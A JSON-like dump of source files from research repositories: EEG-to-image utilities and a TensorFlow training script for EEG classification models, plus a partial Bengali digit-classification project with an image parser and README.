"/EEGLearn/utils.py", "repo_name": "dans-acc/tf_EEGLearn", "src_encoding": "UTF-8", "text": "#coding:utf-8\n\nimport numpy as np\nimport math as m\nimport os\nimport scipy.io\nfrom scipy.interpolate import griddata\nfrom sklearn.preprocessing import scale\nfrom functools import reduce\n\n\ndef cart2sph(x, y, z):\n \"\"\"\n Transform Cartesian coordinates to spherical\n :param x: X coordinate\n :param y: Y coordinate\n :param z: Z coordinate\n :return: radius, elevation, azimuth\n \"\"\"\n x2_y2 = x**2 + y**2\n r = m.sqrt(x2_y2 + z**2) # r tant^(-1)(y/x)\n elev = m.atan2(z, m.sqrt(x2_y2)) # Elevation\n az = m.atan2(y, x) # Azimuth\n return r, elev, az\n\n\ndef pol2cart(theta, rho):\n \"\"\"\n Transform polar coordinates to Cartesian \n :param theta: angle value\n :param rho: radius value\n :return: X, Y\n \"\"\"\n return rho * m.cos(theta), rho * m.sin(theta)\n\ndef azim_proj(pos):\n \"\"\"\n Computes the Azimuthal Equidistant Projection of input point in 3D Cartesian Coordinates.\n Imagine a plane being placed against (tangent to) a globe. If\n a light source inside the globe projects the graticule onto\n the plane the result would be a planar, or azimuthal, map\n projection.\n\n :param pos: position in 3D Cartesian coordinates [x, y, z]\n :return: projected coordinates using Azimuthal Equidistant Projection\n \"\"\"\n [r, elev, az] = cart2sph(pos[0], pos[1], pos[2])\n return pol2cart(az, m.pi / 2 - elev)\n\n\ndef load_data(data_file, classification=True):\n \"\"\" \n Loads the data from MAT file. MAT file should contain two\n variables. 'featMat' which contains the feature matrix in the\n shape of [samples, features] and 'labels' which contains the output\n labels as a vector. Label numbers are assumed to start from 1.\n\n Parameters\n ----------\n data_file: str\n # load data from .mat [samples, (features:labels)]\n Returns \n -------\n data: array_like\n \"\"\"\n print(\"Loading data from %s\" % (data_file))\n dataMat = scipy.io.loadmat(data_file, mat_dtype=True)\n print(\"Data loading complete. Shape is %r\" % (dataMat['features'].shape,))\n if classification:\n return dataMat['features'][:, :-1], dataMat['features'][:, -1] - 1\n else:\n return dataMat['features'][:, :-1], dataMat['features'][:, -1]\n\n\ndef reformatInput(data, labels, indices):\n \"\"\"\n Receives the indices for train and test datasets.\n param indices: tuple of (train, test) index numbers\n Outputs the train, validation, and test data and label datasets.\n \"\"\"\n np.random.shuffle(indices[0])\n np.random.shuffle(indices[0])\n trainIndices = indices[0][len(indices[1]):]\n validIndices = indices[0][:len(indices[1])]\n testIndices = indices[1]\n\n if data.ndim == 4:\n return [(data[trainIndices], np.squeeze(labels[trainIndices]).astype(np.int32)),\n (data[validIndices], np.squeeze(labels[validIndices]).astype(np.int32)),\n (data[testIndices], np.squeeze(labels[testIndices]).astype(np.int32))]\n elif data.ndim == 5:\n return [(data[:, trainIndices], np.squeeze(labels[trainIndices]).astype(np.int32)),\n (data[:, validIndices], np.squeeze(labels[validIndices]).astype(np.int32)),\n (data[:, testIndices], np.squeeze(labels[testIndices]).astype(np.int32))]\n\ndef iterate_minibatches(inputs, targets, batchsize, shuffle=False):\n \"\"\"\n Iterates over the samples returing batches of size batchsize.\n :param inputs: input data array. It should be a 4D numpy array for images [n_samples, n_colors, W, H] and 5D numpy\n array if working with sequence of images [n_timewindows, n_samples, n_colors, W, H].\n :param targets: vector of target labels.\n :param batchsize: Batch size\n :param shuffle: Flag whether to shuffle the samples before iterating or not.\n :return: images and labels for a batch\n \"\"\"\n if inputs.ndim == 4:\n input_len = inputs.shape[0]\n elif inputs.ndim == 5:\n input_len = inputs.shape[1]\n assert input_len == len(targets)\n\n if shuffle:\n indices = np.arange(input_len) \n np.random.shuffle(indices) \n for start_idx in range(0, input_len, batchsize):\n if shuffle:\n excerpt = indices[start_idx:start_idx + batchsize]\n else:\n excerpt = slice(start_idx, start_idx + batchsize)\n if inputs.ndim == 4:\n yield inputs[excerpt], targets[excerpt]\n elif inputs.ndim == 5:\n yield inputs[:, excerpt], targets[excerpt]\n\n\ndef gen_images(locs, features, n_gridpoints=32, normalize=True, edgeless=False):\n \"\"\"\n Generates EEG images given electrode locations in 2D space and multiple feature values for each electrode\n :param locs: An array with shape [n_electrodes, 2] containing X, Y\n coordinates for each electrode.\n :param features: Feature matrix as [n_samples, n_features]\n Features are as columns.\n Features corresponding to each frequency band are concatenated.\n (alpha1, alpha2, ..., beta1, beta2,...)\n :param n_gridpoints: Number of pixels in the output images\n :param normalize: Flag for whether to normalize each band over all samples\n :param edgeless: If True generates edgeless images by adding artificial channels\n at four corners of the image with value = 0 (default=False).\n :return: Tensor of size [samples, colors, W, H] containing generated\n images.\n \"\"\"\n feat_array_temp = []\n nElectrodes = locs.shape[0] # Number of electrodes\n # Test whether the feature vector length is divisible by number of electrodes\n assert features.shape[1] % nElectrodes == 0\n n_colors = features.shape[1] // nElectrodes\n for c in range(n_colors):\n feat_array_temp.append(features[:, c * nElectrodes : nElectrodes * (c+1)]) # features.shape为[samples, 3*nElectrodes]\n\n nSamples = features.shape[0] # sample number 2670\n # Interpolate the values # print(np.mgrid[-1:1:5j]) get [-1. -0.5 0. 0.5 1. ]\n grid_x, grid_y = np.mgrid[\n min(locs[:, 0]):max(locs[:, 0]):n_gridpoints*1j,\n min(locs[:, 1]):max(locs[:, 1]):n_gridpoints*1j\n ]\n \n temp_interp = []\n for c in range(n_colors):\n temp_interp.append(np.zeros([nSamples, n_gridpoints, n_gridpoints]))\n\n \n # Generate edgeless images\n if edgeless:\n min_x, min_y = np.min(locs, axis=0)\n max_x, max_y = np.max(locs, axis=0)\n locs = np.append(locs, np.array([[min_x, min_y], [min_x, max_y],[max_x, min_y],[max_x, max_y]]),axis=0)\n for c in range(n_colors):\n feat_array_temp[c] = np.append(feat_array_temp[c], np.zeros((nSamples, 4)), axis=1)\n \n # Interpolating\n for i in range(nSamples):\n for c in range(n_colors):\n temp_interp[c][i, :, :] = griddata(locs, feat_array_temp[c][i, :], (grid_x, grid_y), # cubic\n method='cubic', fill_value=np.nan)\n \n # Normalizing\n for c in range(n_colors):\n if normalize:\n temp_interp[c][~np.isnan(temp_interp[c])] = \\\n scale(temp_interp[c][~np.isnan(temp_interp[c])])\n \n temp_interp[c] = np.nan_to_num(temp_interp[c])\n \n temp_interp = np.swapaxes(np.asarray(temp_interp), 0, 1) # swap axes to have [samples, colors, W, H] # WH xy\n temp_interp = np.swapaxes(temp_interp, 1, 2)\n temp_interp = np.swapaxes(temp_interp, 2, 3) # [samples, W, H,colors]\n return temp_interp\n\n\n\ndef load_or_generate_images(file_path, average_image=3):\n \"\"\"\n Generates EEG images\n :param average_image: average_image 1 for CNN model only, 2 for multi-frame model \n sucn as lstm, 3 for both.\n\n :return: Tensor of size [window_size, samples, W, H, channel] containing generated\n images.\n \"\"\"\n print('-'*100)\n print('Loading original data...')\n locs = scipy.io.loadmat('../SampleData/Neuroscan_locs_orig.mat')\n locs_3d = locs['A']\n locs_2d = []\n # Convert to 2D\n for e in locs_3d:\n locs_2d.append(azim_proj(e))\n\n # Class labels should start from 0\n feats, labels = load_data('../SampleData/FeatureMat_timeWin.mat') # 2670*1344 和 2670*1\n \n\n if average_image == 1: # for CNN only\n if os.path.exists(file_path + 'images_average.mat'):\n images_average = scipy.io.loadmat(file_path + 'images_average.mat')['images_average']\n print('\\n')\n print('Load images_average done!')\n else:\n print('\\n')\n print('Generating average images over time windows...')\n # Find the average response over time windows\n for i in range(7):\n if i == 0:\n temp = feats[:, i*192:(i+1)*192] # each window contains 64*3=192 data\n else:\n temp += feats[:, i*192:(i+1)*192]\n av_feats = temp / 7\n images_average = gen_images(np.array(locs_2d), av_feats, 32, normalize=False)\n scipy.io.savemat( file_path+'images_average.mat', {'images_average':images_average})\n print('Saving images_average done!')\n \n del feats\n images_average = images_average[np.newaxis,:]\n print('The shape of images_average.shape', images_average.shape)\n return images_average, labels\n \n elif average_image == 2: # for mulit-frame model such as LSTM\n if os.path.exists(file_path + 'images_timewin.mat'):\n images_timewin = scipy.io.loadmat(file_path + 'images_timewin.mat')['images_timewin']\n print('\\n') \n print('Load images_timewin done!')\n else:\n print('Generating images for all time windows...')\n images_timewin = np.array([\n gen_images(\n np.array(locs_2d),\n feats[:, i*192:(i+1)*192], 32, normalize=False) for i in range(feats.shape[1]//192)\n ])\n scipy.io.savemat(file_path + 'images_timewin.mat', {'images_timewin':images_timewin})\n print('Saving images for all time windows done!')\n \n del feats\n print('The shape of images_timewin is', images_timewin.shape) # (7, 2670, 32, 32, 3)\n return images_timewin, labels\n \n else:\n if os.path.exists(file_path + 'images_average.mat'):\n images_average = scipy.io.loadmat(file_path + 'images_average.mat')['images_average']\n print('\\n')\n print('Load images_average done!')\n else:\n print('\\n')\n print('Generating average images over time windows...')\n # Find the average response over time windows\n for i in range(7):\n if i == 0:\n temp = feats[:, i*192:(i+1)*192]\n else:\n temp += feats[:, i*192:(i+1)*192]\n av_feats = temp / 7\n images_average = gen_images(np.array(locs_2d), av_feats, 32, normalize=False)\n scipy.io.savemat( file_path+'images_average.mat', {'images_average':images_average})\n print('Saving images_average done!')\n\n if os.path.exists(file_path + 'images_timewin.mat'):\n images_timewin = scipy.io.loadmat(file_path + 'images_timewin.mat')['images_timewin']\n print('\\n') \n print('Load images_timewin done!')\n else:\n print('\\n')\n print('Generating images for all time windows...')\n images_timewin = np.array([\n gen_images(\n np.array(locs_2d),\n feats[:, i*192:(i+1)*192], 32, normalize=False) for i in range(feats.shape[1]//192)\n ])\n scipy.io.savemat(file_path + 'images_timewin.mat', {'images_timewin':images_timewin})\n print('Saving images for all time windows done!')\n\n del feats\n images_average = images_average[np.newaxis,:]\n print('The shape of labels.shape', labels.shape)\n print('The shape of images_average.shape', images_average.shape) # (1, 2670, 32, 32, 3)\n print('The shape of images_timewin is', images_timewin.shape) # (7, 2670, 32, 32, 3)\n return images_average, images_timewin, labels" }, { "alpha_fraction": 0.7077426314353943, "alphanum_fraction": 0.760087251663208, "avg_line_length": 69.61538696289062, "blob_id": "20b820232c4a99322bbd72f812b23c8b42630d9e", "content_id": "eb187fcc8b7ba3e815b47f3322e70d037e73bea9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 917, "license_type": "permissive", "max_line_length": 398, "num_lines": 13, "path": "/SampleData/README.txt", "repo_name": "dans-acc/tf_EEGLearn", "src_encoding": "UTF-8", "text": "Data for Visual WM experiment described in:\nBashivan, Pouya, et al. \"Learning Representations from EEG with Deep Recurrent-Convolutional Neural Networks.\" International conference on learning representations (2016).\n\nFeatureMat_timeWin:\nFFT power values extracted for three frequency bands (theta, alpha, beta). Features are arranged in band and electrodes order (theta_1, theta_2..., theta_64, alpha_1, alpha_2, ..., beta_64). There are seven time windows, features for each time window are aggregated sequentially (i.e. 0:191 --> time window 1, 192:383 --> time windw 2 and so on. Last column contains the class labels (load levels).\n# (theta_(1~64),alphsa_(1~64),beta_(1~64)) * 7(flame) 64*3*7 = 1344 + 1(labels) = 1345\n\n\nNeuroscan_locs_orig:\n3 dimensional coordinates for electrodes on Neuroscan quik-cap.\n\ntrials_subNums:\ncontains subject numbers associated with each trial (used for leave-subject-out cross validation)." }, { "alpha_fraction": 0.5857844948768616, "alphanum_fraction": 0.5985324382781982, "avg_line_length": 44.29859161376953, "blob_id": "c7a124561c5d293d4aa82791461fbef79158e0a7", "content_id": "c3b6ca85ccf7800c0b09336ea41a3fff3047d028", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16081, "license_type": "permissive", "max_line_length": 120, "num_lines": 355, "path": "/EEGLearn/train.py", "repo_name": "dans-acc/tf_EEGLearn", "src_encoding": "UTF-8", "text": "##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n## Created by: Yang Wang\n## School of Automation, Huazhong University of Science & Technology (HUST)\n## [email protected]\n## Copyright (c) 2018\n##\n## This source code is licensed under the MIT-style license found in the\n## LICENSE file in the root directory of this source tree\n##+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n#coding:utf-8\n\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport scipy.io\nimport time\nimport datetime\n\nfrom utils import reformatInput, load_or_generate_images, iterate_minibatches\n\nfrom model import build_cnn, build_convpool_conv1d, build_convpool_lstm, build_convpool_mix\n\n\ntimestamp = datetime.datetime.now().strftime('%Y-%m-%d.%H.%M')\nlog_path = os.path.join(\"runs\", timestamp)\n\n\nmodel_type = '1dconv' # ['1dconv', 'maxpool', 'lstm', 'mix', 'cnn']\nlog_path = log_path + '_' + model_type\n\nbatch_size = 32\ndropout_rate = 0.5\n\ninput_shape = [32, 32, 3] # 1024\nnb_class = 4\nn_colors = 3\n\n# whether to train cnn first, and load its weight for multi-frame model\nreuse_cnn_flag = False\n\n# learning_rate for different models\nlrs = {\n 'cnn': 1e-3,\n '1dconv': 1e-4,\n 'lstm': 1e-4,\n 'mix': 1e-4,\n}\n\nweight_decay = 1e-4\nlearning_rate = lrs[model_type] / 32 * batch_size\noptimizer = tf.train.AdamOptimizer\n\nnum_epochs = 60\n\ndef train(images, labels, fold, model_type, batch_size, num_epochs, subj_id=0, reuse_cnn=False, \n dropout_rate=dropout_rate ,learning_rate_default=1e-3, Optimizer=tf.train.AdamOptimizer, log_path=log_path):\n \"\"\"\n A sample training function which loops over the training set and evaluates the network\n on the validation set after each epoch. Evaluates the network on the training set\n whenever the\n :param images: input images\n :param labels: target labels\n :param fold: tuple of (train, test) index numbers\n :param model_type: model type ('cnn', '1dconv', 'lstm', 'mix')\n :param batch_size: batch size for training\n :param num_epochs: number of epochs of dataset to go over for training\n :param subj_id: the id of fold for storing log and the best model\n :param reuse_cnn: whether to train cnn first, and load its weight for multi-frame model\n :return: none\n \"\"\"\n\n with tf.name_scope('Inputs'):\n input_var = tf.placeholder(tf.float32, [None, None, 32, 32, n_colors], name='X_inputs')\n target_var = tf.placeholder(tf.int64, [None], name='y_inputs')\n tf_is_training = tf.placeholder(tf.bool, None, name='is_training')\n\n num_classes = len(np.unique(labels))\n (X_train, y_train), (X_val, y_val), (X_test, y_test) = reformatInput(images, labels, fold)\n\n\n print('Train set label and proportion:\\t', np.unique(y_train, return_counts=True))\n print('Val set label and proportion:\\t', np.unique(y_val, return_counts=True))\n print('Test set label and proportion:\\t', np.unique(y_test, return_counts=True))\n\n print('The shape of X_trian:\\t', X_train.shape)\n print('The shape of X_val:\\t', X_val.shape)\n print('The shape of X_test:\\t', X_test.shape)\n \n\n print(\"Building model and compiling functions...\")\n if model_type == '1dconv':\n network = build_convpool_conv1d(input_var, num_classes, train=tf_is_training, \n dropout_rate=dropout_rate, name='CNN_Conv1d'+'_sbj'+str(subj_id))\n elif model_type == 'lstm':\n network = build_convpool_lstm(input_var, num_classes, 100, train=tf_is_training, \n dropout_rate=dropout_rate, name='CNN_LSTM'+'_sbj'+str(subj_id))\n elif model_type == 'mix':\n network = build_convpool_mix(input_var, num_classes, 100, train=tf_is_training, \n dropout_rate=dropout_rate, name='CNN_Mix'+'_sbj'+str(subj_id))\n elif model_type == 'cnn':\n with tf.name_scope(name='CNN_layer'+'_fold'+str(subj_id)):\n network = build_cnn(input_var) # output shape [None, 4, 4, 128]\n convpool_flat = tf.reshape(network, [-1, 4*4*128])\n h_fc1_drop1 = tf.layers.dropout(convpool_flat, rate=dropout_rate, training=tf_is_training, name='dropout_1')\n h_fc1 = tf.layers.dense(h_fc1_drop1, 256, activation=tf.nn.relu, name='fc_relu_256')\n h_fc1_drop2 = tf.layers.dropout(h_fc1, rate=dropout_rate, training=tf_is_training, name='dropout_2')\n network = tf.layers.dense(h_fc1_drop2, num_classes, name='fc_softmax')\n # the loss function contains the softmax activation\n else:\n raise ValueError(\"Model not supported ['1dconv', 'maxpool', 'lstm', 'mix', 'cnn']\")\n\n Train_vars = tf.trainable_variables()\n\n prediction = network\n\n with tf.name_scope('Loss'):\n l2_loss = tf.add_n([tf.nn.l2_loss(v) for v in Train_vars if 'kernel' in v.name])\n ce_loss = tf.losses.sparse_softmax_cross_entropy(labels=target_var, logits=prediction)\n _loss = ce_loss + weight_decay*l2_loss\n\n # decay_steps learning rate decay\n decay_steps = 3*(len(y_train)//batch_size) # len(X_train)//batch_size the training steps for an epcoh\n with tf.name_scope('Optimizer'):\n # learning_rate = learning_rate_default * Decay_rate^(global_steps/decay_steps)\n global_steps = tf.Variable(0, name=\"global_step\", trainable=False)\n learning_rate = tf.train.exponential_decay( # learning rate decay\n learning_rate_default, # Base learning rate.\n global_steps,\n decay_steps,\n 0.95, # Decay rate.\n staircase=True)\n optimizer = Optimizer(learning_rate) # GradientDescentOptimizer AdamOptimizer\n train_op = optimizer.minimize(_loss, global_step=global_steps, var_list=Train_vars)\n\n with tf.name_scope('Accuracy'):\n prediction = tf.argmax(prediction, axis=1)\n correct_prediction = tf.equal(prediction, target_var)\n accuracy = tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\n\n # Output directory for models and summaries\n # choose different path for different model and subject\n out_dir = os.path.abspath(os.path.join(os.path.curdir, log_path, (model_type+'_'+str(subj_id)) ))\n print(\"Writing to {}\\n\".format(out_dir))\n\n # Summaries for loss, accuracy and learning_rate\n loss_summary = tf.summary.scalar('loss', _loss)\n acc_summary = tf.summary.scalar('train_acc', accuracy)\n lr_summary = tf.summary.scalar('learning_rate', learning_rate)\n\n # Train Summaries\n train_summary_op = tf.summary.merge([loss_summary, acc_summary, lr_summary])\n train_summary_dir = os.path.join(out_dir, \"summaries\", \"train\")\n train_summary_writer = tf.summary.FileWriter(train_summary_dir, tf.get_default_graph())\n\n # Dev summaries\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, \"summaries\", \"dev\")\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, tf.get_default_graph())\n\n # Test summaries\n test_summary_op = tf.summary.merge([loss_summary, acc_summary])\n test_summary_dir = os.path.join(out_dir, \"summaries\", \"test\")\n test_summary_writer = tf.summary.FileWriter(test_summary_dir, tf.get_default_graph())\n\n\n # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\n checkpoint_prefix = os.path.join(checkpoint_dir, model_type)\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n\n\n if model_type != 'cnn' and reuse_cnn:\n # saver for reuse the CNN weight\n reuse_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='VGG_NET_CNN')\n original_saver = tf.train.Saver(reuse_vars) # Pass the variables as a list\n\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=1)\n\n print(\"Starting training...\")\n total_start_time = time.time()\n best_validation_accu = 0\n\n init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n with tf.Session() as sess:\n sess.run(init_op)\n if model_type != 'cnn' and reuse_cnn:\n cnn_model_path = os.path.abspath(\n os.path.join(\n os.path.curdir, log_path, ('cnn_'+str(subj_id)), 'checkpoints' ))\n cnn_model_path = tf.train.latest_checkpoint(cnn_model_path)\n print('-'*20)\n print('Load cnn model weight for multi-frame model from {}'.format(cnn_model_path))\n original_saver.restore(sess, cnn_model_path)\n\n stop_count = 0 # count for earlystopping\n for epoch in range(num_epochs):\n print('-'*50)\n # Train set\n train_err = train_acc = train_batches = 0\n start_time = time.time()\n for batch in iterate_minibatches(X_train, y_train, batch_size, shuffle=False):\n inputs, targets = batch\n summary, _, pred, loss, acc = sess.run([train_summary_op, train_op, prediction, _loss, accuracy], \n {input_var: inputs, target_var: targets, tf_is_training: True})\n train_acc += acc\n train_err += loss\n train_batches += 1\n train_summary_writer.add_summary(summary, sess.run(global_steps))\n\n av_train_err = train_err / train_batches\n av_train_acc = train_acc / train_batches\n\n # Val set\n summary, pred, av_val_err, av_val_acc = sess.run([dev_summary_op, prediction, _loss, accuracy],\n {input_var: X_val, target_var: y_val, tf_is_training: False})\n dev_summary_writer.add_summary(summary, sess.run(global_steps))\n\n \n print(\"Epoch {} of {} took {:.3f}s\".format(\n epoch + 1, num_epochs, time.time() - start_time))\n \n fmt_str = \"Train \\tEpoch [{:d}/{:d}] train_Loss: {:.4f}\\ttrain_Acc: {:.2f}\"\n print_str = fmt_str.format(epoch + 1, num_epochs, av_train_err, av_train_acc*100)\n print(print_str)\n\n fmt_str = \"Val \\tEpoch [{:d}/{:d}] val_Loss: {:.4f}\\tval_Acc: {:.2f}\"\n print_str = fmt_str.format(epoch + 1, num_epochs, av_val_err, av_val_acc*100)\n print(print_str)\n \n # Test set\n summary, pred, av_test_err, av_test_acc = sess.run([test_summary_op, prediction, _loss, accuracy],\n {input_var: X_test, target_var: y_test, tf_is_training: False})\n test_summary_writer.add_summary(summary, sess.run(global_steps))\n \n fmt_str = \"Test \\tEpoch [{:d}/{:d}] test_Loss: {:.4f}\\ttest_Acc: {:.2f}\"\n print_str = fmt_str.format(epoch + 1, num_epochs, av_test_err, av_test_acc*100)\n print(print_str)\n\n if av_val_acc > best_validation_accu: # early_stoping\n stop_count = 0\n eraly_stoping_epoch = epoch\n best_validation_accu = av_val_acc\n test_acc_val = av_test_acc\n saver.save(sess, checkpoint_prefix, global_step=sess.run(global_steps))\n else:\n stop_count += 1\n if stop_count >= 10: # stop training if val_acc dose not imporve for over 10 epochs\n break\n\n train_batches = train_acc = 0\n for batch in iterate_minibatches(X_train, y_train, batch_size, shuffle=False):\n inputs, targets = batch\n acc = sess.run(accuracy, {input_var: X_train, target_var: y_train, tf_is_training: False})\n train_acc += acc\n train_batches += 1\n\n last_train_acc = train_acc / train_batches\n \n \n last_val_acc = av_val_acc\n last_test_acc = av_test_acc\n print('-'*50)\n print('Time in total:', time.time()-total_start_time)\n print(\"Best validation accuracy:\\t\\t{:.2f} %\".format(best_validation_accu * 100))\n print(\"Test accuracy when got the best validation accuracy:\\t\\t{:.2f} %\".format(test_acc_val * 100))\n print('-'*50)\n print(\"Last train accuracy:\\t\\t{:.2f} %\".format(last_train_acc * 100))\n print(\"Last validation accuracy:\\t\\t{:.2f} %\".format(last_val_acc * 100))\n print(\"Last test accuracy:\\t\\t\\t\\t{:.2f} %\".format(last_test_acc * 100))\n print('Early Stopping at epoch: {}'.format(eraly_stoping_epoch+1))\n\n train_summary_writer.close()\n dev_summary_writer.close()\n test_summary_writer.close()\n return [last_train_acc, best_validation_accu, test_acc_val, last_val_acc, last_test_acc]\n\n\n\ndef train_all_model(num_epochs=3000):\n nums_subject = 13\n # Leave-Subject-Out cross validation\n subj_nums = np.squeeze(scipy.io.loadmat('../SampleData/trials_subNums.mat')['subjectNum'])\n fold_pairs = []\n for i in np.unique(subj_nums):\n ts = subj_nums == i\n tr = np.squeeze(np.nonzero(np.bitwise_not(ts)))\n ts = np.squeeze(np.nonzero(ts))\n np.random.shuffle(tr)\n np.random.shuffle(ts)\n fold_pairs.append((tr, ts))\n\n\n images_average, images_timewin, labels = load_or_generate_images(\n file_path='../SampleData/', average_image=3)\n\n\n print('*'*200)\n acc_buf = []\n for subj_id in range(nums_subject):\n print('-'*100)\n \n if model_type == 'cnn':\n print('The subjects', subj_id, '\\t\\t Training the ' + 'cnn' + ' Model...')\n acc_temp = train(images_average, labels, fold_pairs[subj_id], 'cnn', \n batch_size=batch_size, num_epochs=num_epochs, subj_id=subj_id,\n learning_rate_default=lrs['cnn'], Optimizer=optimizer, log_path=log_path)\n acc_buf.append(acc_temp)\n tf.reset_default_graph()\n print('Done!')\n\n else:\n # whether to train cnn first, and load its weight for multi-frame model\n if reuse_cnn_flag is True:\n print('The subjects', subj_id, '\\t\\t Training the ' + 'cnn' + ' Model...')\n acc_temp = train(images_average, labels, fold_pairs[subj_id], 'cnn', \n batch_size=batch_size, num_epochs=num_epochs, subj_id=subj_id,\n learning_rate_default=lrs['cnn'], Optimizer=optimizer, log_path=log_path)\n # acc_buf.append(acc_temp)\n tf.reset_default_graph()\n print('Done!')\n \n print('The subjects', subj_id, '\\t\\t Training the ' + model_type + ' Model...')\n print('Load the CNN model weight for backbone...')\n acc_temp = train(images_timewin, labels, fold_pairs[subj_id], model_type, \n batch_size=batch_size, num_epochs=num_epochs, subj_id=subj_id, reuse_cnn=reuse_cnn_flag, \n learning_rate_default=learning_rate, Optimizer=optimizer, log_path=log_path)\n \n acc_buf.append(acc_temp)\n tf.reset_default_graph()\n print('Done!')\n \n # return\n\n print('All folds for {} are done!'.format(model_type))\n acc_buf = (np.array(acc_buf)).T\n acc_mean = np.mean(acc_buf, axis=1).reshape(-1, 1)\n acc_buf = np.concatenate([acc_buf, acc_mean], axis=1)\n # the last column is the mean of current row\n print('Last_train_acc:\\t', acc_buf[0], '\\tmean :', np.mean(acc_buf[0][-1]))\n print('Best_val_acc:\\t', acc_buf[1], '\\tmean :', np.mean(acc_buf[1][-1]))\n print('Earlystopping_test_acc:\\t', acc_buf[2], '\\tmean :', np.mean(acc_buf[2][-1]))\n print('Last_val_acc:\\t', acc_buf[3], '\\tmean :', np.mean(acc_buf[3][-1]))\n print('Last_test_acc:\\t', acc_buf[4], '\\tmean :', np.mean(acc_buf[4][-1]))\n np.savetxt('./Accuracy_{}.csv'.format(model_type), acc_buf, fmt='%.4f', delimiter=',')\n\n\nif __name__ == '__main__':\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n np.random.seed(2018)\n tf.set_random_seed(2018)\n\n train_all_model(num_epochs=num_epochs)\n" } ]
6
smafjal/Bengali-Digit-Classification-CNN-Keras
https://github.com/smafjal/Bengali-Digit-Classification-CNN-Keras
2334aefcbb658e8d5fb69a0b61cd7dffc54eabfd
1f22d4859ffd39c8517bb5464a8cd61777641365
b7ddaec92573b3e820de1441c91e0937d3ae3f5f
refs/heads/master
2021-06-13T14:13:11.822583
2017-02-26T06:09:48
2017-02-26T06:09:48
83,185,953
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5398340225219727, "alphanum_fraction": 0.5510373711585999, "avg_line_length": 27.690475463867188, "blob_id": "2e20d89d6d2e202a9a8e82e90753947cb63b535c", "content_id": "dd8c1e19787b65fcc1d509e1c22fdf66adb982f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2410, "license_type": "no_license", "max_line_length": 71, "num_lines": 84, "path": "/parse_img.py", "repo_name": "smafjal/Bengali-Digit-Classification-CNN-Keras", "src_encoding": "UTF-8", "text": "#!usr/bin/env python\n__author__=\"smafjal\"\n\nfrom PIL import Image\nimport os\nimport glob\nfrom skimage.io import imread\nimport numpy as np\nimport pickle\n\nimg_size=28, 28\n\nclass ImageReader():\n def __init__(self, dir):\n self.data_dir = dir\n\n def read_image(self):\n files = os.listdir(self.data_dir)\n image_list = []\n label_list=[]\n for filename in files:\n label = self.get_label(filename)\n if label == -1:\n print \"Label is not found\"\n continue\n\n filename = os.path.join(self.data_dir, filename) + \"/*.bmp\"\n print \"Image Label:----> \",label\n for img_file in glob.glob(filename):\n img=Image.open(img_file).convert(\"L\")\n img=img.resize(img_size, Image.ANTIALIAS)\n img=np.array(img,dtype=np.float64).reshape(-1)\n image_list.append(img)\n a=[0]*10; a[label]=1 # making hot vector\n a=np.array(a,dtype=np.int32)\n label_list.append(a)\n return np.array(image_list),np.array(label_list)\n\n def shuffle_data(self,data_x,data_y):\n a=np.arange(len(data_x))\n np.random.shuffle(a)\n np.random.shuffle(a)\n data_x=data_x[a]\n data_y=data_y[a]\n return data_x,data_y\n\n def data_normalization(self,data):\n for i in range(len(data)):\n for j in range(len(data[i])):\n val=((data[i][j]*1.0)/255.0)\n data[i][j]=val\n return data\n\n def data_normalization2(self,matrix):\n sum = np.sum(matrix)\n if sum > 0.:\n return matrix / sum\n else:\n return matrix\n\n def get_label(self, filename):\n for i in range(10):\n if int(filename[-1]) == i:\n return i\n return -1\n\n def save_pickle(self,data,file_name):\n with open(file_name+\".pickle\",\"wb\") as w:\n pickle.dump(data,w)\n\ndef main():\n data = ImageReader(\"data/train\")\n img_data,img_label = data.read_image()\n img_data,img_label=data.shuffle_data(img_data,img_label)\n img_data=data.data_normalization(img_data)\n\n print \"Data saving on pickle format \"\n data.save_pickle(img_data,\"pickle/img_data\")\n data.save_pickle(img_label,\"pickle/img_label\")\n\n print \"Data-Len: \",len(img_data),len(img_data[0])\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.7279693484306335, "alphanum_fraction": 0.7356321811676025, "avg_line_length": 29.705883026123047, "blob_id": "c6bef18caa6fa2e20d3a32b0edadc7487a494bb3", "content_id": "5e479bac767f553f28e77eb6b0ca9f9c4be4de03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 522, "license_type": "no_license", "max_line_length": 106, "num_lines": 17, "path": "/README.md", "repo_name": "smafjal/Bengali-Digit-Classification-CNN-Keras", "src_encoding": "UTF-8", "text": "# Bengali-Digit-Classification-CNN-Keras\nBengali Digit Classification Keras implementation of CNN based Model.\n\n# Model Structure\n<p align=\"center\">\n <img src=\"cnn-basic-model.png\" />\n</p>\n# Model Accuracy \n<p align=\"center\">\n <img src=\"cnn-basic-acc.png\" />\n</p>\n\n# How To Run\n1. parse_img.py script parsed all digit and save data on pickle/img_data.pickle & pickle/img_label.pickle\n2. data_reader.py script read saved pickle data\n3. cnn-basic.py script hold the model and train processes.\n4. Run: python cnn-basic.py\n" }, { "alpha_fraction": 0.6185286045074463, "alphanum_fraction": 0.6185286045074463, "avg_line_length": 18.3157901763916, "blob_id": "292725366257f1cf3c42cc584122b5a1ff45c23e", "content_id": "b65db7ebed2c3529e42f1db8c4170afa193ee9f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 367, 